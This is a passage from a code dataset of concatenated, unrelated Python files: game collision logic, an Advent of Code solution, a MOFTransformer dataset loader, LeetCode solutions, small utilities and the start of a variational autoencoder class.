-BOUNCER_V_SPEED\n                    elif tile == TILE_GREEN:\n                        if abs(bouncer.speed[1]) > BOUNCER_V_SPEED * BOUNCER_V_FACTOR_BIG_BOUNCE:\n                            bouncer.speed[1] = -abs(bouncer.speed[1])\n                        else:\n                            bouncer.speed[1] = -BOUNCER_V_SPEED * BOUNCER_V_FACTOR_BIG_BOUNCE\n                    elif tile == TILE_RED:\n                        bouncer.speed[1] = -BOUNCER_V_SPEED * BOUNCER_V_FACTOR_SMALL_BOUNCE\n                    elif tile == TILE_BLACK:\n                        bouncer.changeGravityDirection()\n\n                elif ballDir == 'bottom' and bouncer.gravityDirection == 'up':\n\n                    if tile == TILE_NORMAL:\n                        bouncer.speed[1] = BOUNCER_V_SPEED\n                    elif tile == TILE_GREEN:\n                        if abs(bouncer.speed[1]) > BOUNCER_V_SPEED * BOUNCER_V_FACTOR_BIG_BOUNCE:\n                            bouncer.speed[1] = abs(bouncer.speed[1])\n                        else:\n                            bouncer.speed[1] = BOUNCER_V_SPEED * BOUNCER_V_FACTOR_BIG_BOUNCE\n                    elif tile == TILE_RED:\n                        bouncer.speed[1] = BOUNCER_V_SPEED * BOUNCER_V_FACTOR_SMALL_BOUNCE\n                    elif tile == TILE_BLACK:\n                        bouncer.changeGravityDirection()\n\n            elif tile in TILES_DEATH_COLLISIONS:\n                GameWorld.deathExplode()\n                break\n\n    @staticmethod\n    def __update_BouncerMovingPlatforms():\n\n        \"\"\"\n            Go through moving platforms and detect collision with bouncer\n        \"\"\"\n        bouncer = Bouncer.bouncer\n        for platform in MovingPlatform.platforms:\n\n            platformRect = pygame.Rect((platform.position[0],platform.position[1]), (platform.width, platform.height))\n\n            if bouncer.isCollidingWithObj(platformRect):\n\n                \"\"\"\n                    Make Bouncer bounce off moving platforms\n                \"\"\"\n                bouncer.handleBallCollision(platformRect)\n\n                ballDir = bouncer.getCollisionDirection(platformRect)\n\n                if bouncer.gravityDirection == 'down' and ballDir == 'top':\n                    bouncer.speed[1] = -BOUNCER_V_SPEED\n                elif bouncer.gravityDirection == 'up' and ballDir == 'bottom':\n                    bouncer.speed[1] = BOUNCER_V_SPEED\n                elif bouncer.gravityDirection == 'down' and ballDir == 'bottom' or \\\n                     bouncer.gravityDirection == 'up' and ballDir == 'top':\n                    bouncer.speed[1] = 0\n\n\n\n    @staticmethod\n    def __update_BouncerLaserGuns():\n\n        \"\"\"\n            Go through laser guns and detect collision with bouncer\n        \"\"\"\n        bouncer = Bouncer.bouncer\n        for gun in LaserGun.guns:\n\n            gunRect = pygame.Rect((gun.position[0],gun.position[1]), (gun.width, gun.height))\n\n            if bouncer.isCollidingWithObj(gunRect):\n\n                \"\"\"\n                    Make Bouncer bounce off moving platforms\n                \"\"\"\n                bouncer.handleBallCollision(gunRect)\n\n                ballDir = bouncer.getCollisionDirection(gunRect)\n\n                if bouncer.gravityDirection == 'down' and ballDir == 'top':\n                    bouncer.speed[1] = -BOUNCER_V_SPEED\n                elif bouncer.gravityDirection == 'up' and ballDir == 'bottom':\n                    bouncer.speed[1] = BOUNCER_V_SPEED\n\n    @staticmethod\n    def __update_Pixels():\n        try:\n            pixelsList = Pixels.pixelsList\n            for pixels in pixelsList:\n                for bit in pixels.bits:\n                    bit[0] += bit[2]\n                    bit[1] += bit[3]\n                    bit[3] += BITS_GRAVITY_DOWN\n                    if bit[1] > SCREEN_HEIGHT:\n                        pixels.bits.remove(bit)\n                        if len(pixels.bits) == 0:\n                            pixelsList.remove(pixels)\n        except Exception as e:\n            return None\n\n    @staticmethod\n    def __update_LaserRemove(laser):\n        try:\n            lasersList = Laser.lasers\n            laserGun = laser.parent\n            lasersList.remove(laser)\n            laserGun.triggerShootLaserEvent()\n        except Exception as e:\n            return None\n\n    @staticmethod\n    def __update_Laser():\n        try:\n            lasersList = Laser.lasers\n            bouncer = Bouncer.bouncer\n            for laser in lasersList:\n                laserRect = pygame.Rect((laser.position[0], laser.position[1]), (laser.width, laser.height))\n                if not Utils.collidesWithTile(laserRect):\n                    laser.update()\n                elif not laser.hitTile:\n                    laser.hitTile = True\n                    Timer.SetTimerEvent(laser.parent.resetTime, GameWorld.__update_LaserRemove, laser)\n                if bouncer.isCollidingWithObj(laserRect):\n                    GameWorld.deathExplode()\n        except Exception as e:\n            return None\n\n    @staticmethod\n    def __update_RailSaws():\n        bouncer = Bouncer.bouncer\n        try:\n            railSaws = RailSaw.railSaws\n\n            for railSaw in railSaws:\n                railSaw.update()\n                railRect = pygame.Rect((railSaw.centerPosition[0]-1, railSaw.centerPosition[1]-1), (3, 3))\n                railCollisionRect = pygame.Rect((railSaw.centerPosition[0]-RAILSAW_RADIUS, railSaw.centerPosition[1]-RAILSAW_RADIUS),\n                                                (RAILSAW_RADIUS*2, RAILSAW_RADIUS*2))\n                if bouncer.isCollidingWithObj(railCollisionRect):\n                    GameWorld.deathExplode()\n                    break\n\n                \"\"\"\n                    Check if rail saw is colliding with railtracks\n                \"\"\"\n                cl = Level.currentLevel\n                ri = 0\n                for tileRow in cl.mapping:\n                    ci = 0\n                    for tile in tileRow:\n                        if tile in TILES_RAILTRACK_SYSTEM:\n                            tilerect = pygame.Rect(( (ci+1/2) * TILE_BLOCK_SIZE-1, (ri+1/2)*TILE_BLOCK_SIZE-1),\n                                                   (3, 3))\n                            if railRect.x <= tilerect.x + tilerect.width and \\\n                                    railRect.y <= tilerect.y + tilerect.height and \\\n                                    railRect.x + railRect.width >= tilerect.x and railRect.y + railRect.height >= tilerect.y:\n\n                                if tile == TILE_RAILTRACK_LEFT_STOP:\n                                    railSaw.direction = 'right'\n                                elif tile == TILE_RAILTRACK_RIGHT_STOP:\n                                    railSaw.direction = 'left'\n                                elif tile == TILE_RAILTRACK_TOP_STOP:\n                                    railSaw.direction = 'down'\n                                elif tile == TILE_RAILTRACK_BOTTOM_STOP:\n                                    railSaw.direction = 'up'\n                                elif tile == TILE_RAILTRACK_BOTTOM_RIGHT:\n                                    if railSaw.direction == 'right':\n                                        railSaw.direction = 'up'\n                                    elif railSaw.direction == 'down':\n                                        railSaw.direction = 'left'\n                                elif tile == TILE_RAILTRACK_TOP_RIGHT:\n                                    if railSaw.direction == 'up':\n                                        railSaw.direction = 'left'\n                                    elif railSaw.direction == 'right':\n                                        railSaw.direction = 'down'\n                                elif tile == TILE_RAILTRACK_TOP_LEFT:\n                                    if railSaw.direction == 'left':\n                                        railSaw.direction = 'down'\n                                    elif railSaw.direction == 'up':\n                                        railSaw.direction = 'right'\n                                elif tile == TILE_RAILTRACK_BOTTOM_LEFT:\n                                    if railSaw.direction == 'down':\n                                        railSaw.direction = 'right'\n                                    elif railSaw.direction == 'left':\n                                        railSaw.direction = 'up'\n\n                        ci += 1\n                    ri += 1\n\n\n        except Exception as e:\n            return None\n\n    @staticmethod\n    def update():\n\n        bouncer = Bouncer.bouncer\n        bouncer.update()\n\n        GameWorld.__update_MovingPlatforms()\n\n        GameWorld.__update_BouncerBoundariesCheck()\n        GameWorld.__update_BouncerExitDoorCheck()\n\n        GameWorld.__update_BouncerMovingPlatforms()\n        GameWorld.__update_BouncerLaserGuns()\n\n        GameWorld.__update_BoucerCheckTiles()\n\n        GameWorld.__update_RailSaws()\n\n        GameWorld.__update_Laser()\n        GameWorld.__update_Pixels()\n\n","repo_name":"kirkhellsten/Bouncer","sub_path":"GameWorld.py","file_name":"GameWorld.py","file_ext":"py","file_size_in_byte":16146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32841300780","text":"from util import lines\n\nif __name__ == '__main__':\n    all_p = set()\n    for l in lines(\"in1.txt\"):\n        p = eval(l)\n        all_p.add(p)\n\n    adj = [\n        (1, 0, 0),\n        (-1, 0, 0),\n        (0, 1, 0,),\n        (0, -1, 0,),\n        (0, 0, 1),\n        (0, 0, -1),\n    ]\n\n    total_adj = 0\n    for p in all_p:\n        for a in adj:\n            adj_p = tuple(p + a for p, a in zip(p, a))\n            if adj_p in all_p:\n                total_adj += 1\n\n    print(6 * len(all_p) - total_adj)\n","repo_name":"lucoby/aoc2022","sub_path":"d18/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75148240327","text":"import json\nfrom classes.board import Board\nfrom classes.board import Board\n\n\ndef __main__():\n    # Opening all the relevant files\n    board_f = open(\"data\\\\board.json\")\n    player_f = open(\"data\\\\players.json\")\n    rolls_1_f = open(\"data\\\\rolls_1.json\")\n    rolls_2_f = open(\"data\\\\rolls_2.json\")\n\n    # Processing data from the JSON objects\n    player_data = json.load(player_f)\n    board_data = json.load(board_f)\n    rolls_1_data = json.load(rolls_1_f)\n    rolls_2_data = json.load(rolls_2_f)\n\n    # Close all the relevant files\n    board_f.close()\n    player_f.close()\n    rolls_1_f.close()\n    rolls_2_f.close()\n\n    board1 = Board(board_data, player_data)\n    board1.simulate(rolls_1_data)\n    print(board1)\n    board2 = Board(board_data, player_data)\n    board2.simulate(rolls_2_data)\n    print(board2)\n\n\n__main__()\n","repo_name":"azadesuu/pronto-woven","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"576415991","text":"# MOFTransformer version 2.0.0\r\nimport os\r\nimport random\r\nimport json\r\nimport pickle\r\n\r\nimport numpy as np\r\n\r\nimport torch\r\nfrom torch.nn.functional import interpolate\r\n\r\n\r\nclass Dataset(torch.utils.data.Dataset):\r\n    def __init__(\r\n        self,\r\n        data_dir: str,\r\n        split: str,\r\n        nbr_fea_len: int,\r\n        draw_false_grid=True,\r\n        downstream=\"\",\r\n        tasks=[],\r\n    ):\r\n        \"\"\"\r\n        Dataset for pretrained MOF.\r\n        Args:\r\n            data_dir (str): where dataset cif files and energy grid file; exist via model.utils.prepare_data.py\r\n            split(str) : train, test, split\r\n            draw_false_grid (int, optional):  how many generating false_grid_data\r\n            nbr_fea_len (int) : nbr_fea_len for gaussian expansion\r\n        \"\"\"\r\n        super().__init__()\r\n        self.data_dir = data_dir\r\n        self.draw_false_grid = draw_false_grid\r\n        self.split = split\r\n\r\n        assert split in {\"train\", \"test\", \"val\"}\r\n        if downstream:\r\n            path_file = os.path.join(data_dir, f\"{split}_{downstream}.json\")\r\n        else:\r\n            path_file = os.path.join(data_dir, f\"{split}.json\")\r\n        print(f\"read {path_file}...\")\r\n\r\n        if not os.path.isfile(path_file):\r\n            raise FileNotFoundError(\r\n                f\"{path_file} doesn't exist. Check 'root_dataset' in config\"\r\n            )\r\n\r\n        dict_target = json.load(open(path_file, \"r\"))\r\n        self.cif_ids, self.targets = zip(*dict_target.items())\r\n\r\n        self.nbr_fea_len = nbr_fea_len\r\n\r\n        self.tasks = {}\r\n\r\n        for task in tasks:\r\n            if task in [\"mtp\", \"vfp\", \"moc\", \"bbc\"]:\r\n                path_file = os.path.join(data_dir, f\"{split}_{task}.json\")\r\n                print(f\"read {path_file}...\")\r\n                assert os.path.isfile(\r\n                    path_file\r\n                ), f\"{path_file} doesn't exist in {data_dir}\"\r\n\r\n                dict_task = json.load(open(path_file, \"r\"))\r\n                cif_ids, t = zip(*dict_task.items())\r\n                self.tasks[task] = list(t)\r\n                assert self.cif_ids == cif_ids, print(\r\n                    \"order of keys is different in the json file\"\r\n                )\r\n\r\n    def __len__(self):\r\n        return len(self.cif_ids)\r\n\r\n    @staticmethod\r\n    def make_grid_data(grid_data, emin=-5000.0, emax=5000, bins=101):\r\n        \"\"\"\r\n        make grid_data within range (emin, emax) and\r\n        make bins with logit function\r\n        and digitize (0, bins)\r\n        ****\r\n            caution : 'zero' should be padding !!\r\n            when you change bins, heads.MPP_heads should be changed\r\n        ****\r\n        \"\"\"\r\n        grid_data[grid_data <= emin] = emin\r\n        grid_data[grid_data > emax] = emax\r\n\r\n        x = np.linspace(emin, emax, bins)\r\n        new_grid_data = np.digitize(grid_data, x) + 1\r\n\r\n        return new_grid_data\r\n\r\n    @staticmethod\r\n    def calculate_volume(a, b, c, angle_a, angle_b, angle_c):\r\n        a_ = np.cos(angle_a * np.pi / 180)\r\n        b_ = np.cos(angle_b * np.pi / 180)\r\n        c_ = np.cos(angle_c * np.pi / 180)\r\n\r\n        v = a * b * c * np.sqrt(1 - a_**2 - b_**2 - c_**2 + 2 * a_ * b_ * c_)\r\n\r\n        return v.item() / (60 * 60 * 60)  # normalized volume\r\n\r\n    def get_raw_grid_data(self, cif_id):\r\n        file_grid = os.path.join(self.data_dir, self.split, f\"{cif_id}.grid\")\r\n        file_griddata = os.path.join(self.data_dir, self.split, f\"{cif_id}.griddata16\")\r\n\r\n        # get grid\r\n        with open(file_grid, \"r\") as f:\r\n            lines = f.readlines()\r\n            a, b, c = [float(i) for i in lines[0].split()[1:]]\r\n            angle_a, angle_b, angle_c = [float(i) for i in lines[1].split()[1:]]\r\n            cell = [int(i) for i in lines[2].split()[1:]]\r\n\r\n        volume = self.calculate_volume(a, b, c, angle_a, angle_b, angle_c)\r\n\r\n        # get grid data\r\n        grid_data = pickle.load(open(file_griddata, \"rb\"))\r\n        grid_data = self.make_grid_data(grid_data)\r\n        grid_data = torch.FloatTensor(grid_data)\r\n\r\n        return cell, volume, grid_data\r\n\r\n    def get_grid_data(self, cif_id, draw_false_grid=False):\r\n        cell, volume, grid_data = self.get_raw_grid_data(cif_id)\r\n        ret = {\r\n            \"cell\": cell,\r\n            \"volume\": volume,\r\n            \"grid_data\": grid_data,\r\n        }\r\n\r\n        if draw_false_grid:\r\n            random_index = random.randint(0, len(self.cif_ids) - 1)\r\n            cif_id = self.cif_ids[random_index]\r\n            cell, volume, grid_data = self.get_raw_grid_data(cif_id)\r\n            ret.update(\r\n                {\r\n                    \"false_cell\": cell,\r\n                    \"fale_volume\": volume,\r\n                    \"false_grid_data\": grid_data,\r\n                }\r\n            )\r\n        return ret\r\n\r\n    @staticmethod\r\n    def get_gaussian_distance(distances, num_step, dmax, dmin=0, var=0.2):\r\n        \"\"\"\r\n        Expands the distance by Gaussian basis\r\n        (https://github.com/txie-93/cgcnn.git)\r\n        \"\"\"\r\n\r\n        assert dmin < dmax\r\n        _filter = np.linspace(\r\n            dmin, dmax, num_step\r\n        )  # = np.arange(dmin, dmax + step, step) with step = 0.2\r\n\r\n        return np.exp(-((distances[..., np.newaxis] - _filter) ** 2) / var**2).float()\r\n\r\n    def get_graph(self, cif_id):\r\n        file_graph = os.path.join(self.data_dir, self.split, f\"{cif_id}.graphdata\")\r\n\r\n        graphdata = pickle.load(open(file_graph, \"rb\"))\r\n        # graphdata = [\"cif_id\", \"atom_num\", \"nbr_idx\", \"nbr_dist\", \"uni_idx\", \"uni_count\"]\r\n        atom_num = torch.LongTensor(graphdata[1].copy())\r\n        nbr_idx = torch.LongTensor(graphdata[2].copy()).view(len(atom_num), -1)\r\n        nbr_dist = torch.FloatTensor(graphdata[3].copy()).view(len(atom_num), -1)\r\n\r\n        nbr_fea = torch.FloatTensor(\r\n            self.get_gaussian_distance(nbr_dist, num_step=self.nbr_fea_len, dmax=8)\r\n        )\r\n\r\n        uni_idx = graphdata[4]\r\n        uni_count = graphdata[5]\r\n\r\n        return {\r\n            \"atom_num\": atom_num,\r\n            \"nbr_idx\": nbr_idx,\r\n            \"nbr_fea\": nbr_fea,\r\n            \"uni_idx\": uni_idx,\r\n            \"uni_count\": uni_count,\r\n        }\r\n\r\n    def get_tasks(self, index):\r\n        ret = dict()\r\n        for task, value in self.tasks.items():\r\n            ret.update({task: value[index]})\r\n\r\n        return ret\r\n\r\n    def __getitem__(self, index):\r\n        ret = dict()\r\n        cif_id = self.cif_ids[index]\r\n        target = self.targets[index]\r\n\r\n        ret.update(\r\n            {\r\n                \"cif_id\": cif_id,\r\n                \"target\": target,\r\n            }\r\n        )\r\n        ret.update(self.get_grid_data(cif_id, draw_false_grid=self.draw_false_grid))\r\n        ret.update(self.get_graph(cif_id))\r\n\r\n        ret.update(self.get_tasks(index))\r\n\r\n        return ret\r\n\r\n    @staticmethod\r\n    def collate(batch, img_size):\r\n        \"\"\"\r\n        collate batch\r\n        Args:\r\n            batch (dict): [cif_id, atom_num, nbr_idx, nbr_fea, uni_idx, uni_count,\r\n                            grid_data, cell, (false_grid_data, false_cell), target]\r\n            img_size (int): maximum length of img size\r\n\r\n        Returns:\r\n            dict_batch (dict): [cif_id, atom_num, nbr_idx, nbr_fea, crystal_atom_idx,\r\n                                uni_idx, uni_count, grid, false_grid_data, target]\r\n        \"\"\"\r\n        batch_size = len(batch)\r\n        keys = set([key for b in batch for key in b.keys()])\r\n\r\n        dict_batch = {k: [dic[k] if k in dic else None for dic in batch] for k in keys}\r\n\r\n        # graph\r\n        batch_atom_num = dict_batch[\"atom_num\"]\r\n        batch_nbr_idx = dict_batch[\"nbr_idx\"]\r\n        batch_nbr_fea = dict_batch[\"nbr_fea\"]\r\n\r\n        crystal_atom_idx = []\r\n        base_idx = 0\r\n        for i, nbr_idx in enumerate(batch_nbr_idx):\r\n            n_i = nbr_idx.shape[0]\r\n            crystal_atom_idx.append(torch.arange(n_i) + base_idx)\r\n            nbr_idx += base_idx\r\n            base_idx += n_i\r\n\r\n        dict_batch[\"atom_num\"] = torch.cat(batch_atom_num, dim=0)\r\n        dict_batch[\"nbr_idx\"] = torch.cat(batch_nbr_idx, dim=0)\r\n        dict_batch[\"nbr_fea\"] = torch.cat(batch_nbr_fea, dim=0)\r\n        dict_batch[\"crystal_atom_idx\"] = crystal_atom_idx\r\n\r\n        # grid\r\n        batch_grid_data = dict_batch[\"grid_data\"]\r\n        batch_cell = dict_batch[\"cell\"]\r\n        new_grids = []\r\n\r\n        for bi in range(batch_size):\r\n            orig = batch_grid_data[bi].view(batch_cell[bi][::-1]).transpose(0, 2)\r\n            if batch_cell[bi] == [30, 30, 30]:  # version >= 1.1.2\r\n                orig = orig[None, None, :, :, :]\r\n            else:\r\n                orig = interpolate(\r\n                    orig[None, None, :, :, :],\r\n                    size=[img_size, img_size, img_size],\r\n                    mode=\"trilinear\",\r\n                    align_corners=True,\r\n                )\r\n            new_grids.append(orig)\r\n        new_grids = torch.concat(new_grids, axis=0)\r\n        dict_batch[\"grid\"] = new_grids\r\n\r\n        if \"false_grid_data\" in dict_batch.keys():\r\n            batch_false_grid_data = dict_batch[\"false_grid_data\"]\r\n            batch_false_cell = dict_batch[\"false_cell\"]\r\n            new_false_grids = []\r\n            for bi in range(batch_size):\r\n                orig = batch_false_grid_data[bi].view(batch_false_cell[bi])\r\n                if batch_cell[bi] == [30, 30, 30]:  # version >= 1.1.2\r\n                    orig = orig[None, None, :, :, :]\r\n                else:\r\n                    orig = interpolate(\r\n                        orig[None, None, :, :, :],\r\n                        size=[img_size, img_size, img_size],\r\n                        mode=\"trilinear\",\r\n                        align_corners=True,\r\n                    )\r\n                new_false_grids.append(orig)\r\n            new_false_grids = torch.concat(new_false_grids, axis=0)\r\n            dict_batch[\"false_grid\"] = new_false_grids\r\n\r\n        dict_batch.pop(\"grid_data\", None)\r\n        dict_batch.pop(\"false_grid_data\", None)\r\n        dict_batch.pop(\"cell\", None)\r\n        dict_batch.pop(\"false_cell\", None)\r\n\r\n        return dict_batch\r\n","repo_name":"hspark1212/MOFTransformer","sub_path":"moftransformer/datamodules/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":10088,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"16"}
+{"seq_id":"74061752969","text":"# Necessary imports\nimport rgb_yuv as ry\nimport resize_im as ri\nimport black_and_white as bw\nimport runlength as rl\nimport dct_converter as dc\n\nif __name__ == \"__main__\":\n    # Interactive menu\n    ex = 1\n    while ( ex != 0 ):\n        print(\"\\033[1m\\nChoose an exercise:\\033[0m\")\n        print(\"\\t 1. RGB 2 YUV\" + \"\\n\\t 2. Resize Image\" + \"\\n\\t 3. Image 2 BW\"+ \"\\n\\t 4. Run Length\" + \"\\n\\t 5. DCT\" + \"\\n\\t 0. Exit\")\n\n        ex = int(input())\n\n        #### 1 #####\n        if (ex == 1):\n            print(\"\\033[1mEXERCISE 1\\033[0m\")\n            print(\"Enter RGB values one by one: \")\n            rgb = []\n            for i in range(0,3):\n                rgb.append(int(input()))\n\n            yuv = ry.rgb2yuv(rgb)\n            print(\"Value in YUV space\", yuv)\n            print(\"Inverse operation:\\nValue in RGB space\", ry.yuv2rgb(yuv))\n\n        #### 2 #####\n        elif (ex == 2):\n            print(\"\\n\\033[1mEXERCISE 2\\033[0m\")\n            down_scale = int(input(\"Factor of downscaling: \"))\n            show = bool(int(input(\"Visualize Images (True = 1 / False = 0): \")))\n            ri.resize(\"102286_gallery.jpg\", down_scale, show)\n\n        elif (ex == 3):\n            #### 3 #####\n            print(\"\\n\\033[1mEXERCISE 3\\033[0m\")\n            show = bool(int(input(\"Visualize Images (True = 1 / False = 0): \")))\n            bw.bw_im(\"102286_gallery.jpg\", show)\n\n        elif (ex == 4):\n            #### 4 #####\n            print(\"\\n\\033[1mEXERCISE 4\\033[0m\")\n            input_sequence = str(input(\"Sequence to encode: \"))\n            output_sequence = rl.encode(input_sequence)\n            print(\"Encoded sequence:  \", output_sequence)\n\n        elif (ex == 5):\n            print(\"\\n\\033[1mEXERCISE 5\\033[0m\")\n            input_list = input(\"List of numbers separated by a coma and a space: \").strip(\"][\").split(\", \")\n            input_list = list(map(int, input_list))\n            print(input_list)\n            output_dct = dc.dct1d(input_list)\n            print(output_dct)\n            output_idct = dc.idct1d(output_dct)\n            print(output_idct)\n\n        elif (ex == 0):\n            print(\"Application closed.\")\n        else:\n            print(\"Not a valid option.\")","repo_name":"carolinadcf/P1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18433061101","text":"class Solution:\n    def trapRainWater(self, heightMap: List[List[int]]) -> int:\n        res, queue, seen = 0, [], set()\n        for i in range(len(heightMap)):\n            for j in range(len(heightMap[0])):\n                if i == 0 or j == 0 or i == len(heightMap) - 1 or j == len(heightMap[0]) - 1:\n                    heapq.heappush(queue, (heightMap[i][j], i, j))\n                    seen.add((i,j))\n        \n        while queue:\n            height, x, y = heapq.heappop(queue)\n            for next_x, next_y in [(x-1,y), (x+1,y), (x,y-1), (x,y+1)]:\n                if next_x < 0 or next_x >= len(heightMap) or next_y < 0 or next_y >= len(heightMap[0]) or (next_x, next_y) in seen:\n                    continue\n                res += max(0, height - heightMap[next_x][next_y])\n                heapq.heappush(queue, (max(heightMap[next_x][next_y], height), next_x, next_y))\n                seen.add((next_x, next_y))\n        \n        return res","repo_name":"baoooliang/LeetCode","sub_path":"TrappingRainWaterII.py","file_name":"TrappingRainWaterII.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19021875012","text":"from base64 import b64decode\n\n\ndef base64_to_file(content, file_path):\n    f = open(file_path, \"wb\")\n\n    try:\n        f.write(content.decode('base64'))  # python 2\n    except AttributeError:\n        f.write(b64decode(content))  # python 3\n\n    f.close()\n","repo_name":"PragmaticMates/python-pragmatic","sub_path":"python_pragmatic/os.py","file_name":"os.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"1551481716","text":"import argparse, os, json\nimport file_utils.file_utils as file_utils\n\n\ndef validate_arguments(args):\n    for model_file in args.model_files:\n        assert(os.path.isfile(model_file))\n\n\ndef parse_arguments():\n    parser = argparse.ArgumentParser()\n    parser._action_groups.pop()\n\n    required = parser.add_argument_group('required arguments')\n    required.add_argument(\"-m\", \"--model_files\", required=True, help=\"List of article model files\", nargs='+')\n\n    args = parser.parse_args()\n    validate_arguments(args)\n\n    return args.model_files\n\n\ndef execute(model_files):\n    missing_data_map = {\n        'content': 0,   'published_time': 0,    'url': 0,   'author': 0,\n        'title': 0,     'description': 0,       'category': 0\n    }\n\n    for model_path in model_files:\n        article_model = file_utils.read_json(model_path)\n        for (key, value) in missing_data_map.items():\n            if not article_model[key]:\n                missing_data_map[key] += 1\n\n    percentage_map = {}\n    for (key, value) in missing_data_map.items():\n        percentage_map[key] = int((value / (len(model_files) + 1)) * 100)\n    print(\"# of files: \" + str(len(model_files)))\n    print(percentage_map)\n\n\nif __name__ == '__main__':\n    model_files = parse_arguments()\n    execute(model_files)\n\n","repo_name":"tbalogh/online-media-article-parsers","sub_path":"missing_data_counter.py","file_name":"missing_data_counter.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7402525019","text":"class Solution:\n    def uncommonFromSentences(self, s1: str, s2: str) -> List[str]:\n        ans = []\n        l1 = s1.split(\" \")\n        l2 = s2.split(\" \")\n        \n        # a word is uncommon if exists in one sentence (once) AND doesn't exist in the other\n        # check existence in the first sentence\n        for w1 in l1:\n            if l1.count(w1) > 1:\n                continue\n            if w1 not in set(l2):\n                ans.append(w1)\n                \n        for w2 in l2:\n            if l2.count(w2) > 1:\n                continue\n            if w2 not in set(l1):\n                ans.append(w2)\n        \n        return ans\n        \n        ","repo_name":"AYehia0/Leethack","sub_path":"884-uncommon-words-from-two-sentences/884-uncommon-words-from-two-sentences.py","file_name":"884-uncommon-words-from-two-sentences.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4280551464","text":"class CSV_Saver:\n    def __init__ (self, name ):\n        self.name = name\n\n    def addDetails(self, data):\n        with open (self.name,\"a\") as file:\n            file.write(\",\".join(data) + \"\\n\")\n        print (\"Added.\")\n\n    def readDetails(self):\n        with open(self.name,\"r\") as file:\n            details = file.readlines()\n        return details\n    \n    def update(self, dataId, data):\n        readdata = self.readDetails()\n        if 0 <= dataId < len(readdata):\n            readdata[dataId] = ','.join(data) + \"\\n\"\n            with open (self.name, 'w') as updateFile:\n                updateFile.writelines(readdata)\n            print(\" Updated\")\n        else:\n            print(\"Inavlid\")\n\n    def delete(name,deleteId):\n        with open(name,'r') as readData:\n            detail = readData.readlines()\n            if 0 <= deleteId <len(detail):\n                detail[deleteId]= ''\n                with open(name,'w') as deleteFile:\n                    deleteFile.writelines(detail)\n                print(\"Deleted\")\n            else:\n                print(\"invalid\")\n\nclass Music(CSV_Saver):\n    pass\n\nclass Car(CSV_Saver):\n    pass\n\nmusic_inst = Music(\"Music.csv\")\nmusic_inst.addDetails(['1', 'Cupid', 'Fifty-Fifty'])\nprint(music_inst.readDetails())\nmusic_inst.update(0,['1', 'Fifty-Fifty', 'Cupid'])\nMusic.delete(\"Music.csv\",0)\n\nCar_obj =Car (\"Car.csv\")\nCar_obj.addDetails(['1','Murcialago','Lamborghini'])\nprint(Car_obj.readDetails())\nCar_obj.update(0,['1', 'Hurracan', 'Lamborghini'])\nCar.delete(\"Car.csv\", 0 )  \n\n","repo_name":"SthaDishan/Techrida","sub_path":"techrida/csv_saver.py","file_name":"csv_saver.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1880353230","text":"from __future__ import absolute_import\nfrom six import iteritems\n\nimport numpy as np\nimport os\n\nfrom keras.models import Model, Input, load_model\nfrom scipy.stats import norm as standard_gaussian\n\nfrom ..utils.config import load_config\n\nconfig = load_config('global_config.yaml')\nnp.random.seed(config['seed'])\n\n\nclass BaseVariationalAutoencoder(object):\n    \"\"\"\n    Base class for the Adversarial Variational Bayes Autoencoder and the vanilla Variational Autoencoder.\n    \"\"\"\n\n    def __init__(self, data_dim, latent_dim=2, noise_dim=None, name_prefix=None):\n        \"\"\"\n        Args:\n            data_dim: int, flattened data dimensionality\n            latent_dim: int, flattened latent dimensionality\n            noise_dim: int, flattened noise, dimensionality\n            name_prefix: str, the prefix of named layers\n        \"\"\"\n        self.data_dim = data_dim\n        self.noise_dim = noise_dim or latent_dim\n        self.latent_dim = latent_dim\n        name_prefix = name_prefix or 'base_vae'\n\n        if not hasattr(self, 'encoder') and hasattr(self, 'decoder'):\n            raise AttributeError(\"Initialise the attributes `encoder` and `decoder` in the child classes first!\")\n\n        self.data_input = Input(shape=(data_dim,), name='{}_data_input'.format(name_prefix))\n        self.latent_input = Input(shape=(latent_dim,), name='{}_latent_prior_input'.format(name_prefix))\n\n        # define the testing models\n        self.inference_model = Model(inputs=self.data_input,\n                                     outputs=self.encoder(self.data_input, is_learning=False))\n        self.generative_model = Model(inputs=self.latent_input,\n                                      outputs=self.decoder(self.latent_input, is_learning=False))\n\n    def fit(self, data, batch_size=32, epochs=1, **kwargs):\n        \"\"\"\n        Fit the model to the training data.\n\n        Args:\n            data: ndarray, data array of shape (N, data_dim)\n            batch_size: int, the number of samples to be used at one training pass\n            epochs: int, the number of epochs for training (whole size data iterations) \n\n        Returns:\n            The training history as a dict of lists of the epoch-wise losses.\n        \"\"\"\n        return None\n\n    def infer(self, data, batch_size=32, **kwargs):\n        \"\"\"\n        Infer latent factors given some data. \n\n        Args:\n            data: ndarray, data array of shape (N, data_dim) \n            batch_size: int, the number of samples to be inferred at once\n\n        Keyword Args:\n            sampling_size: int, the number of noisy samples which will be inferred for a single data input sample\n\n        Returns:\n            The inferred latent factors as ndarray of shape (N, latent_dim) \n        \"\"\"\n        if not hasattr(self, 'data_iterator'):\n            raise AttributeError(\"Initialise the data iterator in the child classes first!\")\n        sampling_size = kwargs.get('sampling_size', 1)\n        data = 